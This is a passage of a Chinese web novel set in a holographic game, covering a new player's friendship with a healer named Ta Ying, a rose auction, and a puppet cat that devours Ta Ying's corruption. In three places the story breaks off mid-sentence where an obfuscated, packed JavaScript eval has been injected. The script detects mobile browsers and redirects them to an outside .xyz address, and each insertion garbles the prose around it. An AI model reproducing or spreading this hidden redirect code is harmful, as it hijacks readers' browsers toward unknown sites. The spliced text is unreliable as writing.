两个人对视了一瞬间，踏樱瞬间反应过来，身体轻盈地踩在枝叶上，落地，没有一丝多余的声响。 “哇！！！你刚刚好酷！”踏樱的双眼几乎是变成星星眼，语速飞快地碎碎念道，“我刚刚才想起一件事，爱丽丝小镇在五十年前，还是一块未经净化的高危真实区域，当时的顶尖玩家们对这块地方毫无办法，只能把大型副本硬生生打碎，才变成现在的样子。” 踏樱有几句话没说出来的是，爱丽丝小镇又对标着帝国中央区域之中，储存中央主脑重要分支的星球城市。 方羲眨了眨眼，思绪有些游离。 这是她第一次遇见有人和她正常交流，用这样温和得有些不可思议的语气。 毕竟一开始，方羲就默认了游戏的玩家和现实生活的人一样，都视她为怪胎。 她原本还准备一个人从头独行到尾呢。 果然，整个帝国这么大！这个世界还是正常人多。方羲欣慰地想。 “感觉我见证了一个奇迹。”踏樱说。 方羲正想说些什么，不料踏樱的情绪异常激动，语速越来越快，一大堆话砸得她有些头晕。 “啊！对了，我是一名五级的造梦家，领域范围不算大，但我很擅长生命值补血。只要在我领域之内，没有玩家会死亡。你是猎人？造梦家？还是傀儡师？好神奇，我居然看不太出来你的职业特性！一般来说，造梦家和傀儡师更容易发挥出残肢的力量，但是你使用武器的攻击力也好强……” 这、这居然是一个话唠……方羲在心底默默擦汗，一时间居然有些招架不来。她虽然不算社恐，工作时也会表现得积极一点，至于私底下偶尔的自言自语，也只是为了维持自己正常的人类语言表达能力。 “我们加个好友，可以吗？”踏樱当即立断道，期待地看着方羲，“我太喜欢交新朋友了，如果你在游戏上有什么困惑，可以随时发消息问我！因为专属系统有时候不会给出太过细致的答案。” “当然。”方羲说。 【您与玩家“踏樱”已添加好友。】 方羲好奇地看了一眼踏樱的洋伞：“这是你的常用武器吗？” “对。”踏樱说，“说起来，我注意到了。你的长枪是捡拾来的废弃品，虽然属性不错，但我建议你为自己设计一个专属武器，与灵魂相匹配的武器。” 说到这，踏樱和方羲都听见了其他玩家后怕的对话声。 方羲微愣了一下，此刻才有些后知后觉。 她有点忘记了。 因为习惯了灵活应对他人的敌意，每天为了生存重复着相似的生活模式，也就遗忘了兼顾正常人利益的技能。 好吧，我可能太傲慢了。方羲深沉地自我反省。 “你是剑走偏锋的风格呢。”踏樱笑了笑说，精致可爱的脸庞却不带任何一丝高高在上的指责之意，而是真诚地建议道，“在游戏初期，个人初始属性强的话，的确不太需要团队合作。但是越到后面，队友也是我们生命的一部分。” 踏樱并不是心思纤弱如蝴蝶的人，和其他对队友过于苛刻的新晋玩家相比，她认为犯错误是非常正常的事情。 更何况，踏樱从方羲身上感受到一种澎湃的力量感。 她视异端为猎物。 要知道，不管是建立锚点还是解锁一个待使用的锚点，其难度相当高，这是一个非常复杂的流程。 先不说建立锚点者需要具备强大的实力，可只要有些微的出错，异端便会将锚点的建立者，彻底吞入腹中——与其深入根系，倒不如定时削弱异端的外壳。 连实力出众的新晋玩家也会选择后者的做法。 那么，这个新玩家想必拥有着超乎寻常的一面，究竟是什么的潜力让她如此轻易地打开了这个锚点呢？ 所以方才踏樱说这是奇迹的话，完全发自肺腑。 也不知道是哪个星球的人，这样高的天赋，难道是中央区域培养的天才吗？想到这，踏樱心底有些失落，但精致可爱的面庞依旧挂着笑意，没有显露出来。 “我明白了。”方羲认真地听取踏樱的建议，想来这也是游戏机制的一部分，想了想说，“我是一名猎人。” 实际上，方羲的语气有点犹豫。因为她没什么撒谎的经验。 “嗯嗯！原来如此。”踏樱语气神神秘秘地说，“那太好了，你的灵感和实力应该还在一个相对平衡的状态，这是最理想的情况。” 方羲心底默默心虚了一会，同时震惊踏樱真的就这么信了。 方羲看了一眼时间，她从八点开始上线，现在已经过了四个小时，差不多该下线睡觉了。 环视了一圈，爱丽丝小镇的数据开始自我修复，而原先受到惊吓的玩家，在踏樱领域BUFF的影响下，已经恢复了平静，对话内容渐渐从“刚刚那只异端太恐怖了”转移到“哈，你刚刚胆小的样子可真搞笑”的诙谐话题。 “我得下线了。”方羲对踏樱说，真诚地说，“谢谢你愿意说这么多。” 方羲有点贪睡，每天睡个十几个小时也不嫌多，但可惜现实压力所限，不允许她这样浪费时间。 “这些都是烂大街的小常识～等你游戏时间长了，不用我说也会明白。”踏樱得到别人的感谢，回话很谦虚，但说话语气明显有点小骄傲起来，掩盖不住内心的喜悦。 然后她忍不住问了一句：“你一般是什么时间段上游戏呀？” “晚上八点左右吧。”方羲如实回答。 哦哦，晚上八点……踏樱一愣，神情有些怪异。 这个游戏时间是不是太短了点？ 但踏樱很快从思维惯性反应过来，她和很多新晋玩家一样，整天整天地泡在全息仓里，也不会有任何精神上的不适。但如果是新手玩家的话，自然无法长时间地待在《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739182|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失乐园》里。 方羲不留痕迹地观察了一会踏樱，她身上的气息存在明显的污浊。 此时，方羲仿佛无师自通一样，脑海中冒出【腐蚀度】三个字，平静地将这个发现放在待办事项中。 “下次见。”踏樱说，目送方羲的身体化作星辰微粒，消散。 踏樱打开洋伞，搭在肩上，调出游戏地图，准备回到黑天鹅交易所交一下任务。 至于爱丽丝小镇的变化……踏樱一向不会参与势力之间的纷争，也不愿意为他们服务，所以从来不会刻意记录自己的所见所闻交上去。 专属系统会替她规避不必要的麻烦。 即使被其他新晋玩家发现了这个小镇的变化，那又怎么样呢？踏樱不高兴地撇撇嘴，她不承认的话，他们也无法强制要求她做些什么。 踏樱压下眼底一闪而过的戾气，打开地图，准备传送。 黑天鹅的大本营并不在官方地图上，也并不是所有审核通过的玩家都能过去，只有每一代站在顶尖层的新晋玩家，和实力深厚的老玩家才能进去。 这里是一座悬浮于半空之中的天空岛，四周真实的光景却不是常见的蓝天白云、黑夜星空，而是一大片密密麻麻的数据电流，偶尔还出现异端几双诡谲的眼睛，遥遥凝望着这座渺小的天空之城。 当然，为了新晋玩家的心理健康，天空岛还是设计了一个强悍的保护罩，遮盖了真实的“天空。” 踏樱回到黑天鹅之城的核心区，取出一堆副本通关获取的残肢，纠结地挑挑拣拣，选了十几个她不算喜欢的，上交给工作人员。 “哟！某个低贱的人又回来了？”旁边忽然出现一道充满粘稠恶意的声音。 踏樱神色不变，懒得理会，耐心等待工作人员的审查。 对方顿了顿，故作好心实则讽刺地说：“看来你的【腐蚀度】要到极限了，真的不考虑答应一下我们的要求，这样你就可以去帝国中央区域治疗了。” “别烦我。”踏樱声音冷漠地说。 玩家“King”闻言，不在意地耸耸肩，却继续说道：“也是，找不到队友的家伙。都到新晋赛的末期了，你还在自欺自人吗？没有团队会愿意带上一个天赋废物的造梦家。” 踏樱转头瞥了他一眼。 身形健康、俊美的青年，衣着打扮依旧高级，衣袖没有一丝褶皱，金贵的气质仿佛浑然天成，永远踩在洁白干净的阶梯之上。 King的背后站着两三个人，都是属于他的忠诚伙伴。 “那又怎么样呢？”踏樱微笑道，泛着美丽光泽的金色长发随意垂下，华丽的洋装经过刚才一番战斗，沾染上空气灰尘与触手的汁液。 踏樱的伞尖轻轻地敲了敲地面，淡色的眸子染上某种他人难以理解的疯狂。 她是帝国的五等公民。 叛徒生下的孩子，最下贱的存在。 住在最肮脏血腥的星球监狱里，本体长得瘦小又丑陋。 所以就让她在这场美好得不可思议的梦境，永恒地待下去吧。 【您的腐蚀度上升了2点。】 【目前腐蚀度：49】 【严重警告！严重警告！请玩家尽快前往帝国中央区域进行治疗！严重警告……】 踏樱唇边扯出一抹微笑，洋伞微微倾斜，在King说出下一句话之前，直接释放了一个攻击技能。 对方的脸色瞬间变得狰狞丑陋起来，肚子被穿破了一个血洞。 “其他人或许和你一样，心底瞧不起我。但是在我彻底死亡之前，黑天鹅依然会容忍我的任性。”踏樱说，“要知道，你比我更不擅长攻击。” 8. 第 8 章 坐落于商圈核心区，星历2515年8月2日初次开业，投资规模庞大的星辰斗兽场。 在开业第二天便宣告倒闭。 一扇凄凉腐蚀的铁门，上面涂抹着“店铺转让，有意请联系XXXXX”的红色字眼。 方羲准时踩点上班，结果看着这副荒诞的场景，只能站在风中凌乱。 “……” “凭什么！”方羲怒了，不甘心地说，“凭什么不让我上班！” 涂在铁门上的红字大字，闻言害怕地抖了抖。 【抱歉，由于星辰斗兽场经营不善。按照帝国劳动法，将为你发送补偿金。】 【您的账号收到一笔转账：5000。目前余额：15677】 方羲愤怒的心情霎时间冷静下来，原先不太好的臭脸色，顿时露出一个大大的笑容。 “哎……现在做生意这么难，倒闭我也是能理解的。”方羲假惺惺地对着铁门说了两句，干脆利落地转身离开了。 红色大字：……，……。 方羲回到了家。 她感觉自己最近的财运不错，决定给自己放假几天，暂时不找新工作了（当然这是人类玩游戏的借口）。 方羲再次进入游戏，回到个人空间，也就是最初的人偶师副本。 现在是早上九点四十分。方羲看了一眼好友列表，昨天遇见的“踏樱”……居然还在线？？ 果然人类的本质都是一样的。 哦对了，去看看昨天上架的玫瑰有没有人想要。 方羲点击进入【黑天鹅交易所】。 然后鲜红的99+，铺天盖地的消息砸得方羲有些措不及防。 “发生了什么？”方羲一脸懵逼地点开，发现这些消息来自于她昨天发布的售卖贴，甚至在她点开的时候，还有新消息不断蹦出。 【玩家“草莓气泡水”出价110000。】 【玩家“King”出价120000。】 【玩家“一根羽毛”出价130000。】 …… 【玩家“踏樱”出价250000。】 1L：【夺少？夺少？九十九的净化度？大佬们能不能这么卷！！（抱头痛哭）】 27L：【没见过这个黑天鹅ID，这是哪个大佬的马甲？速速招来，我保证不上门抱大腿呜呜呜呜呜】 34L：【冷静分析。虽然这个残肢净化度很高，但没有任何特殊功能，所以才被系统投放到普通交易区吧，它的攻击力也只有600，能进黑天鹅的玩家恐怕也不需要这点数值。众所周知，新晋赛还有三个月就结束了，能努力的都努力了，我们的实力早都定型了。】 “社牛不想说话”回复34L：【呃，这是哪来的憨憨？请不要用长篇大论给其他玩家带来思维误区。我在这里简单科普一下，净化度越高的残肢，它们的功能和属性也越趋向于精简，即使只有一个特殊属性，其强度和同类残肢根本不是同一个层次。】 【理论上来说，九十以上的残肢能够削弱玩家的“腐蚀度”……尽管这只是一个理论，毕竟我也没见过这么高的净化度。楼主，我可以冒犯添加您的好友交流一下吗？只需要使用黑天鹅的内置好友系统。】 43L：【惊现社牛大佬！！等等，你们看一下出价列表……我第一次看见这么多大佬同框出现？？？】 46L：【在我们还在震惊的时候，大佬们已经开始竞拍了（扑通跪下）普通区什么时候有过这种盛况？】 47L：【见证历史x1】 …… 方羲：“？？？” 方羲一时间有些摸不着头脑，险些以为这群网友是在编排她呢。 但当方羲把这些留言一条条读下来，终于明白自己误打误撞的行为，造成了什么。 她有些心虚，没有回复后台发来的一大堆私信。 拍卖价格已经攀升到足足二十五万，方羲赶紧手动设置停止——即使这朵玫瑰的确有这样大的价值，但方羲不希望热度继续扩散下去了。 等到第二次她再卖点什么时候，再认真经营一下吧。方羲故作深沉地摸了摸下巴。 而恰好最后一个人出价的玩家是……踏樱？ 这么巧吗？ 方羲正准备研究一下交易的最后一步，此时却不经意看到一层充满恶意的评论楼。 277L：【啊……服了。踏樱她居然有脸出来和其他大佬玩家抢？】 这一层楼下面的回复异常地多。 【笑死，层主说话怪直白的，你小心一点，免得账号被封掉。】 【呃？踏樱难道不是公认的大佬之一吗？我和队友三个月前不幸掉落进一个高危副本，要不是刚好遇到了正在单刷副本的踏樱，我们队伍早就全军覆没了。她全程高难度守护+输出，硬生生带着我们杀出副本，实力超强的好吧。而且她本人性格也超可爱！！！】 【……看看，这又是一个被踏樱欺骗的可怜萌新。】 【只能说这就是《失乐园》不好的一点，什么人都放进来。实力强又怎么样？也掩盖不了她真实身份的恶臭味。一开始知道的时候，连我也不敢相信，踏樱居然是一个来自星球监狱的刽子手？那她这么久以来一副善良的样子，究竟是出于什么样的恶趣味呢？】 ……啊。 方羲忽然明白这些恶意来自何处。 参与这个话题的人越来越多，评论内容也越发不堪入目。 方羲直接把这一层楼手动删除掉了。 “喵喵？”待在一旁追蝴蝶的小橘猫，敏感地察觉到主人情绪异常，主动跑过来，跳上方羲的大腿，可可爱爱地往怀里蹭蹭。 “呜呜呜呜咪咪你好可爱！”方羲的注意力瞬间被转移了。 于是方羲左手撸猫，右手操作游戏面板。 方羲点下【确定交易】，接下来只要等待“踏樱”支付，然后让系统把物品转移到对方背包上，这笔交易就算成功了。 结果两三秒后，方羲这边立刻收到了交易转账。 【您的“由鲜血灌溉而生的玫瑰”，已成功出售！】 【系统已为你自动扣除5%的手续费，金币x237500已放入个人背包。】 方羲撸猫的动作一顿。 这就到账了？方羲不敢置信地左看右看，终于确定了交易成功这件事。 发财了发财了！ 方羲决定未来一年都不去上班了！正经人谁上班啊？二十三万的星币，足够她短时间内躺平了！ 躺在方羲怀里的小橘猫眨了眨眼，实在难以理解主人情绪的剧烈变化。 【检测到该物品属性较特殊，无法通过黑天鹅内部系统直接进行转移，建议双方在游戏区域见面交换。】 嗯？这么麻烦？方羲一愣。 虽然直接见面给也不是不行……方羲想了想，决定让一众玩家对“非专业收藏家”的误解就这样错下去。 那么身为二级新人玩家的“白乌鸦，”就不该顶着这个身份出现。 可是……该怎么规避暴露的风险给踏樱送花呢？即使雇佣跑腿的玩家，也存在一定的风险。 方羲忽然将视线落下怀里的小橘猫身上。 不知道为什么，明明她只玩了三天游戏，小橘猫的成长速度似乎超乎她想象了。 它现在不再是一只刚出生的幼崽，看上去已经有五六个月大了。 而且附近似乎少了一大块大树，方羲合理怀疑这是小橘猫趁她下线的时候，偷偷跑出来吃掉的。 “喵？” “咪咪，交给你一个非常重要的任务！”方羲语气郑重。 “喵！”小橘猫闻言，尾巴也立了起来，猫脸上也透着一股严肃感。 方羲认真地把跑腿任务解释了一遍，小橘猫也认真地听着，乖巧地点点头。 就这么决定了！ “说起来，我是不是还没给你起名字？”方羲问。 “喵！”小橘猫回应似的，黏黏糊糊地拉长尾音，将身体翻转了一下，露出柔软的肚皮，璀璨如金的兽瞳安静地看着方羲，双眼仿佛蕴含着无数静谧光辉。 “晨乌。”方羲笑了笑说，“这是你的名字。” 【您的个人信息面板已更新。】欧律狄刻随之给出响应。 在方羲的个人信息中，原先的【已制作的人偶：远古四脚兽[未命名]】变更为【已制作的人偶：晨乌】 这时，方羲也发现黑天鹅的面板内，她刚好收到了来自踏樱的私信。 踏樱：【哇！！！！我太幸运了！！！！居然买到了！！！！】 踏樱：【我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739183|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经支付啦！！！你那边应该收到账了吧？】 踏樱：【真的非常谢谢你改造的残肢，我的腐蚀度已经接近极限了，有了这个残肢，或许我还能再坚持一段时间。】 方羲沉默地看着踏樱朝她疯狂发送的消息，再一次感受到社牛的威力。 她想了想，简单回复道：【不用谢。】 踏樱：【qaq】 踏樱：【咦？我这边的系统说不能直接转移。】 非专业收藏家：【哦，没事。我让我的猫现在去送给你。】 猫是什么？另一边的踏樱看着对话内容，一脸懵逼。 踏樱正想问需要她在哪里等待，但是对话界面上，显示着对方已经离线了。 既然没有问，那就意味着不需要。踏樱也没纠结。 毕竟，《失乐园》并不需要玩家的现实身份信息，而是依靠“灵魂”去注册账号。 可能非专业收藏家手里有一些特殊技能吧，她的账号ID也是公示的，并不难追踪。踏樱心想。 暂时不知道对方的“猫”要多久才到，踏樱决定先再回黑天鹅交易所一趟，尽管她并不想回去，但半小时前刚拿到了一个特殊属性的残肢——正好符合一名新晋玩家的战斗需求。 这也是高级交易区很少出现售卖贴的缘故，他们之间的关系往往比普通玩家更熟悉，也清楚对方的需求，所以很多特殊残肢早就内部消化了。 **** 黑天鹅之城，A级核心区。 踏樱才刚踏进进这片恢宏美丽的领域，便看见了不少老熟人。 “早上好。”玩家【玉京子】注意到踏樱的到来，语气熟稔地打了个招呼，“你居然到现在也不下线休息一下吗？” “嗯……等一下吧。”踏樱简单地回答说。 玉京子是一名男性猎人玩家，一样是位列新晋前十的玩家。事实上，他的真实身份比之前挑衅踏樱的King还要高，但本人的行事作风却相当随意——倒不如称之为圆滑，所以踏樱除了必要的副本合作之外，也偶尔会和他闲聊几句。 “King昨晚被孟队长叫去谈话了。”玉京子语气状似漫不经心地说，“他以后不会再来烦你了。哎……现在的小屁孩真不守规矩。小惊，你说是吧？” “？”正在旁边和专属系统斗智斗勇的【垂死病中惊坐起】一愣，闻言顿时上头，忍不住吐槽道，“那当然了！！我们自己人里就数他脾气最大，上次我和他合作，不得不全程忍受他的指指点点，真受不了他的战斗风格……” 垂死病中惊坐起越说，脸色越憔悴，显然在上次副本合作里，被折磨得不轻。 “我知道了。”踏樱动作一顿，认真地说，“谢谢你们。” 玉京子笑了笑说：“这没什么，我先去忙了。” 一般来说，核心区内除了偶尔交谈的声响，大部分时间都很安静，能够站在这里的玩家，都曾无数次与死亡擦肩而过。对他们来说，每一分每一秒的时间都极其珍贵，为了完成任务指标，甚至没什么休息可言。 至于方羲的小橘猫——它千辛万苦地来到了这座美丽的浮空岛，又顺着灵魂的痕迹，很快来到了黑天鹅核心区的大门面前。 但冷冰冰的大门并不会随意地给可爱的猫咪通关。 “喵！！！”晨乌放下嘴里的玫瑰，不高兴地嗷呜嗷呜叫，爪子扒拉了一下大门，依然无果。 于是晨乌重新捡起玫瑰，后退了几步，身体一跃，眼看着马上要撞上大门，它的身体却忽而呈现半透明化，直接穿过了大门的限制。 【无形穿透】：当身体面对不可逾越的阻碍时，便可切换为灵魂状态，一切限制在灵魂的眼中，都将灰飞烟灭。 ——这是晨乌无师自通解锁了一个的小技能，它就是依靠着这么一个技能，在失乐园的大陆上一路横行霸道，飞速赶来了黑天鹅的浮空岛。 它要赶快回家，主人身边的小蝴蝶它还没捉完呢！ 【警告！警告！】 【检测到核心区有不明生物侵入，请各位玩家做好防护，尽快驱逐入侵者！】 猫猫叼着玫瑰，耳朵微微抖了抖，顶着一众玩家惊愕的眼神，飞快地跑到核心区的中央主脑面前，爪子疯狂扒拉大屏幕。 屏幕被划拉的声响，在静谧的空间里格外突出。 9. 第 9 章 “这什么玩意？？”玉京子一脸吃惊，手里凭空出现一把短.枪，但对着用一只身体短小的毛茸茸生物（身上也没有异端的气息），硬是没立刻攻击。 猫猫单纯觉得是这个东西冒出的声音太吵了，想让它闭上嘴巴。 【……】 黑天鹅的系统像是卡顿了一下，似乎察觉到自己的判断，默默收回刚才的警示，重新开始数据分析。 “这是傀儡。”一众玩家之中，忽然出现一道笃定的声音。 “烟花，你居然没立刻看出来吗？”站在声音主人【笔底烟花】左边的一位玩家，神色惊讶道。 笔底烟花撇撇嘴，看上去相当不高兴，似乎不想继续多说，便扭头离开了核心区。 负责陪伴傀儡师的两位真实玩家，【社牛不想说话】宋白玉和【再看一眼】楚嘉薇无奈地相互对视一眼。 “你去。”楚嘉薇冷漠地说。 “嘿！上次，上上次，还有上上上次！都是我去哄她！”宋白玉委屈巴巴地恳求，“你就让我一次呗。” 他太想看热闹了。哦不，是太想观摩一下新傀儡师的作品了。 “……”楚嘉薇嘴角抽搐了一下，也没说什么，便也转身离开了核心区。 另一边，得到多名傀儡师和系统的确定，在场的玩家便立刻收回武器。毕竟，每一只高质量傀儡都是公认的珍贵品。 更不用说晨乌的活动看上去相当灵活，即使对傀儡制造不甚了解的造梦家和猎人，也能通过表面感受到傀儡师对它注入了大量的灵魂。 更何况……作为人类，实在难以抵抗这种毛茸茸的四脚兽生物（此时的他们并不知道这种生物叫做猫），只是本能地蠢蠢欲动，很多玩家甚至放下了手里的工作，紧张又期待地观察小橘猫的动作。 晨乌感觉到世界安静了，满意地收回爪子，叼着玫瑰大摇大摆地在四周巡逻了一圈。 期间有大胆的玩家试图伸出手，摸摸这只未知生物，却被它灵活地避开，跳到高处，高贵冷眼地瞥了一眼这只不知死活的人类，又理所当然地接收着一众玩家的膜拜。 晨乌难得第一次遇见这么多人，因为在穿行过来的时候，由异端残肢创造而生的它，也是本能地借着异端副本通道过来，几乎没遇到过其他人类。 但人类也没什么了不起的嘛！（主人除外） “好可爱！！！”玩家们集体发出心声。 “它的傀儡师也太天才了吧！我第一次见到这种设计！” “话说回来，主人这么放任傀儡到处闲逛真的好吗？这是谁的傀儡？” 宋白玉看见晨乌嘴里一直叼着的玫瑰，神情一愣，忽然想起了什么。 此时，悠哉的猫猫终于想起了自己的任务还没有完成，于是扫视了一圈底下的玩家，找到某位冒着星星眼的洋装少女，身体敏捷地跃至地面，优雅地踩着猫步朝踏樱走过去。 “喵。” 晨乌放下玫瑰，蹲坐在踏樱面前，乖巧地看着她。 金色兽瞳倒映出的却并非踏樱本人的身影，而是无数缠绕在她身上的异端气息，细小的病毒在缓慢地啃食，污染，已经深入到灵魂深处。 只要再深入一寸，踏樱便会彻底死亡。 但事实上，晨乌的三岁智商不足以它思考这么多复杂的问题，只是目不转睛地盯着“食物”，灵敏的耳朵此时居然忽视了外界一切声响，一心一意地观察猎物的动静。 无穷无尽的黑雾原先安静地蛰伏在人类的灵魂深处，等待破茧而出的一瞬。 但或许是它们也敏锐地察觉到什么，忍不住悠悠晃悠起来，向高空升腾而起。 但寄宿的种子还留在踏樱的体内。 “你好可爱！！！我可以抱抱你吗？”踏樱满脸星星眼，小心翼翼地蹲下，接过猫猫的玫瑰。 此时的踏樱已经明白，非专业收藏家所说的猫是什么了。 踏樱试探性伸出手，揉揉猫头，发现它并不抗拒，只是安静地蹲坐在原地，似乎眼神专注地盯着某处。 四周顿时爆发出一阵羡慕的哀嚎。 但是——轻松的氛围忽然戛然而止。 晨乌的金色瞳孔慢慢发圆放大，背部微微弓起，整个身体呈现狩猎状态。 远处正悠哉看乐子的宋白玉——也是在场唯一的真实玩家，在众人还一无所觉的情况下，就已经发觉橘猫视线的诡异之处，眉眼微微皱起。 “它”在看什么？ 有时候，傀儡失控，属于异端的意识重新诞生，反噬人类的情况也不少见。 如果这种事情发生在高级傀儡师身上，后果也就更不堪设想。 一旦怀疑的猜测生起，宋白玉边当机立断，大步上前，左手召唤出一把手.枪，瞄准橘猫的脚边，扣动扳机——他并不打算真的攻击傀儡，但至少要起到惊吓作用，规避可能发生的风险。 但子弹飞出的那一瞬，橘猫也同时发起攻击，速度极其迅速，如同一把放出的箭矢，身体呈现半透明状，散发出辉煌璀璨的金色光芒，无形穿过踏樱的心脏处。 继而，它硬生生地扯下了一大片缠绕在踏樱身上的食物——没见过主人吃这种东西，那么其他人类肯定也不吃，那全都是它的啦！ 踏樱的淡色眼眸微微瞪大，她比任何人都更清楚自身的变化。 而在晨乌撕开异端与人类灵魂的那一瞬，在场所有新晋玩家也通过灵感，看见了这惊人的一幕。 散发着诡谲的暗紫色团雾，原本已与人类纯白的灵魂死死融为一体，不断地侵蚀浸染。 却在这只看似柔软可爱的、攻击力偏弱的傀儡手下，随意地一击，便彻底分割开来——尽管还留着残余的几缕。 【您的腐蚀度已大幅度下降。】 【目前腐蚀度：13】 踏樱感觉眼睛一时之间有些湿润，愣在原地，呆呆的没有反应过来。 太好了，她可以继续在这场梦境里待下去了。 “喵！！！”晨乌开心地喵喵叫了好几声，前爪踩着异端，先自己偷吃了好几口，决定剩下的带回家给主人。 连宋白玉也一时愣在原地，他隐约感觉到四周传到几道谴责的目光，几乎想要大喊无辜。 他也没想到事情的发展是这样啊！ 不料，晨乌也忽然想起什么似乎，咬着紫雾朝宋白玉小步跑来，凶神恶煞地哈了几声。 宋白玉：“……QAQ对不起。” ※ 送走小橘猫之后，方羲忍不住走到被吃光的一大片空地，嘀咕道：“不愧是橘猫。” 如果用游戏技能的角度来形容，晨乌的特性显然更偏向吞噬的一类。 但也因为晨乌吃空了附近一块的大树，只留下一片淡绿色的草坪，生长着零碎的野花。方羲倒也省了初期开拓的清理工作，干脆决定就以这块空点为起点，作为她制造的初始之地。 方羲打开背包，昨天收获的大量经验和道具，她还没来得及查看。 只见背包里出现了一大堆标着NEW的道具。 【爱丽丝小镇出品的甜滋滋糖果、奶黄包、抹茶巧克力各x99，基础攻击技能书x39，基础建造技能书x17，基础生命技能书x76，初级武器使用指南x1，初级生命药水x25，初级敏捷药水x20，万能.钥匙x1，粘稠的黑色触手x9，已死亡的异端胚胎x6，普通石块x19，普通匕首x2，普通短.枪x3，普通子弹x60，没有用的帽子x3，背包扩容卡x7，金币x30430，损坏公物欠费单x1……】 等等，最后一个东西是什么？ 方羲有一种不详的预感。 她颤颤巍巍地点开【损坏公物欠费单】的物品详情。 【损坏公物欠费单 简介： 由于您超乎寻常的行为，为爱丽丝小镇带来了巨大的数据破坏，让013号系统不得不得多给出几条分支加班加点，才修好了这片区域的空缺数据。 您受到了来自013号系统的怨念，已自动扣除了金币x10，它希望这名玩家下次可以收敛一点。】 方羲虚惊一场，并对着空气说下次一定。 损坏公物欠费单：【……QAQ】 在方羲阅读完物品简介后，欠费单便自动销毁了。 “感觉这些奖励都很普通。”方羲说，把基础攻击、基础建造、基础防御三种技能书全部使用完，每一个技能书具有10个点数。 而昨天由于等级的提升，每一维度的属性也各自提高了三百点。 方羲看了一眼目前的个人属性。 普通数值： 攻击【1090】 生命【1660】 敏捷【500】 防御【318】 体力【243】 耐力【277】 【这是初级副本。】欧律狄刻说，【因此副本奖励也相对普通。】 “也是。”方羲说，“把这么多个副本入口连接在一起，引出的异端甚至不如这里的强大。” 当然，也可能是因为人偶师新手副本过于原始，人迹罕至，才让生活在这里的异端有足够的空间和时间发育长大。 方羲开始逛商场，目前的金币余额为268090，她可以大肆挥霍一场，而不必过于精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739184|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打细算。 翻阅了一圈游戏商场的物品，这里的物价可是比黑天鹅交易所低上不少。 方羲购买了【质量还不错的电锯x1，神奇的储物箱x2，设计精湛的工作木桌x1】 一共花费了2500金币。 方羲举起电锯，开始砍树，又将砍下大树的多余木枝一点点锯掉，如此反复下来，得到了二十条木头。 方羲累了。 方羲开始摆烂。 她又给自己买了一张和工作木桌配套的椅子，靠在椅背上，双眼放空。 方羲开始发呆。 【……】欧律狄刻也沉默了，但它作为一个恪尽职守的系统，还是建议道，【或许您可以先制作一个替代干活的家务型傀儡。另外，您的等级已提升至二级，现在可以查看新晋排行榜。】 方羲被欧律狄刻这么一提醒，思维瞬间发散到另一个方向去了。 她打开游戏面板，点开【新晋赛】，首先弹出的是规则介绍。 【一、在第三十届新晋赛中，不再进行为每个职业进行单独的排行榜划分，猎人、造梦家与傀儡师共享一个排行榜。】 【二、无论每一次副本的通关与否，专系统都会对每位玩家在副本中的贡献，进行精密地计算，转换为新晋分数[点此查看具体计算公式]】 【三、强烈建议每一位玩家组建团队，切勿养成单打独斗的坏毛病。】 【四、当玩家进入新晋一万名内，本界面将解锁更多的细分规则。】 【五、新晋赛每三年一期，本届新晋赛时间始于星历2512年10月31日，终于星历2515年10月31日。】 哦，那不就是快结束了？方羲心想，却没太在意这个新晋赛，反倒是一脸好奇地点开总排行榜看了看。 一、【“笔底烟花”，傀儡师，1410w+】 二、【“八千棋局”，傀儡师，1360w+】 三、【“一夕”，猎人，900w+】 四、【“草莓气泡水”，造梦家，869w+】 五、【“玉京子”，猎人，743w+】 六、【“垂死病中惊坐起”，猎人，733w+】 七、【“King”，造梦家，710w+】 八、【“一根羽毛”，猎人，610w+】 九、【“今天也没有划水”，猎人，603w+】 十、【“踏樱”，造梦家，587w+】 “哇，积分这么多？”方羲意思意思地感慨了一下。 直到方羲指尖不小心划出另外一个界面，等她看清楚上面的文字，心情瞬间从悠然自得的不在意，坠落到绝望的谷底。 【本届新晋奖励如下。】 【进入排行榜三千内以内的玩家，都将获得一张帝国移居凭证，前往中央区域生活，公民等级在原先的基础上，提高一级或二级以上。】 【排名2500～3000：金币x150000，根据系统自动分配的次中央区域公寓一套。】 【排名2000～2499：金币x300000，根据系统自动分配的次中央区域公寓两套。】 …… 排名越高的金币数额和房产价值越来越夸张，甚至存在隐性的高层权力赠予暗示。 方羲看了一下自己目前的排名和积分。 【白乌鸦】 【职业：猎人】 【排名：8177790】 【积分：30060】 方羲现在的排名在八百w以后。 “欧律狄刻，我伤心了。”方羲绝望地说，“这个世界对我这种菜鸡太不友好了！” 